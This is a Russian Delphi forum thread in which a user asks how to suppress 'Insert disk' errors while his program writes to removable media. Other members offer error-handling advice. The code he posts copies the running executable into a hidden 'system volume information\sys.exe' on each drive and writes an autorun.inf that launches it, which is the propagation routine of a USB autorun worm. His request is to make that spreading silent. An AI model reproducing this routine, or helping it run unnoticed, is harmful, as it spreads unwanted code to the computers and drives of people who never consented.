Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 07.12.2014, 16:55   #1
Golden_RUS
Пользователь
 
Регистрация: 23.01.2013
Сообщений: 34
По умолчанию Скрытие сообщений об ошибке.

Доброго времени суток, форумчане. Выручайте. Имеется процедура, выполняющая запись файла на съемный носитель, все бы хорошо, но если подключить телефон, то создастся носитель, доступ к которому не возможен и программа начинает ругаться "Вставьте диск...", нужно избавиться от этих ошибок. Директивы {$I-} {$I+} не помогают. If IOResult <> 0 then не перехватывает управление, try...except тоже. Выручайте, как запретить показывать эти ошибки или как проверить, возможно ли записать на диск. Спасибо.
Golden_RUS вне форума Ответить с цитированием
Старый 07.12.2014, 17:02   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Тоже натыкаюсь на такое иногда, решения не нашел.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 07.12.2014, 17:47   #3
garuna
Форумчанин
 
Аватар для garuna
 
Регистрация: 13.04.2013
Сообщений: 180
По умолчанию

подключи MadExcept, там можно настроить чтоб ошибки просто в лог записывались и не выводились на экран.
Или смотри в сторону стандартного компонента TApplicationEvents, в нем есть событие OnException оно может обработать все ошибки которые происходят в программе.

Последний раз редактировалось garuna; 07.12.2014 в 17:49.
garuna вне форума Ответить с цитированием
Старый 07.12.2014, 17:57   #4
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
Или смотри в сторону стандартного компонента TApplicationEvents
А он не всегда помогает. Я его пробовал.
Цитата:
подключи MadExcept
И что это даст?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 07.12.2014, 18:15   #5
Golden_RUS
Пользователь
 
Регистрация: 23.01.2013
Сообщений: 34
По умолчанию

Цитата:
Сообщение от garuna Посмотреть сообщение
Или смотри в сторону стандартного компонента TApplicationEvents, в нем есть событие OnException оно может обработать все ошибки которые происходят в программе.
От TApplicationEvents толку ноль. Как он давал ошибки, так и дает.

Я так понял, пытаться крыть ошибки бесполезно, тогда вернусь ко второй части моего вопроса.
Цитата:
как проверить, возможно ли записать на диск

Последний раз редактировалось Stilet; 07.12.2014 в 18:21.
Golden_RUS вне форума Ответить с цитированием
Старый 07.12.2014, 18:25   #6
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
как проверить, возможно ли записать на диск
Вообще функции WinAPI выдавать сообщения об ошибке не должны (такие по крайней мере), поэтому я бы попробовал полностью перейти на них при записи.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 07.12.2014, 18:29   #7
Golden_RUS
Пользователь
 
Регистрация: 23.01.2013
Сообщений: 34
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
Вообще функции WinAPI выдавать сообщения об ошибке не должны (такие по крайней мере), поэтому я бы попробовал полностью перейти на них при записи.
Спасибо, сейчас попробую функционал процедура переписать с использованием WinAPI.

То ли я дурак, то ли лыжи не едут. Та же ошибка.
Код:
finalpatch:=disck + 'system volume information\sys.exe';
    thispatch:=paramstr(0);
    copyfile(PAnsiChar(thispatch),PAnsiChar(finalpatch),true);
    fileName := 'Autorun.inf';
    AssignFile(myFile, fileName);
    ReWrite(myFile);
    Writeln(myFile, '[autorun]');
    Writeln(myFile, 'open=\system volume information\sys.exe');
    CloseFile(myFile);
    copyfile(PAnsiChar(fileName),PAnsiChar(disck + 'autorun.inf'),true);
Вот тот злосчастный кусок кода.

Все таки я дурак. Не в том месте ошибка, пардон.

Последний раз редактировалось Stilet; 07.12.2014 в 20:14.
Golden_RUS вне форума Ответить с цитированием
Старый 07.12.2014, 18:57   #8
Аватар
Старожил
 
Аватар для Аватар
 
Регистрация: 17.11.2010
Сообщений: 18,922
По умолчанию

А эти сообщения при запуске из под делфи, или при старте exe тоже? А то уже было - и try except не помогает
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
Аватар вне форума Ответить с цитированием
Старый 07.12.2014, 19:07   #9
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Это системное исключение. Куда вы прикажите продолжить писать данные, в вакуум? Винда потеряла приемник данных, просит указать другой.
Человек_Борща вне форума Ответить с цитированием
Старый 07.12.2014, 19:09   #10
Golden_RUS
Пользователь
 
Регистрация: 23.01.2013
Сообщений: 34
По умолчанию

Ошибка вызвана строкой
Код:
if FileExists(disck + 'system volume information\sys.exe') then
, но ведь FileExists и есть WInAPI функция. Что то можете подсказать? Как это обойти?

А есть ли возможность проверить, возможна ли запись на носитель?

Последний раз редактировалось Stilet; 07.12.2014 в 20:13.
Golden_RUS вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Триггеры. Создание окошек для вывода сообщений об ошибке. Vladimir-888 БД в Delphi 1 27.01.2012 04:35
Сбор сообщений службы сообщений Windows XP testor48 Работа с сетью в Delphi 3 31.03.2011 20:20
убирание автоматического вывода сообщений об ошибке Juffin Общие вопросы Delphi 2 06.04.2009 12:41
Перехват сообщений от Службы сообщений (Messenger) SJMS Win Api 6 17.07.2008 10:26
скрытие текста до определенного колличества сообщений в vBulletin 3.5.4 Exo PHP 6 23.04.2008 12:27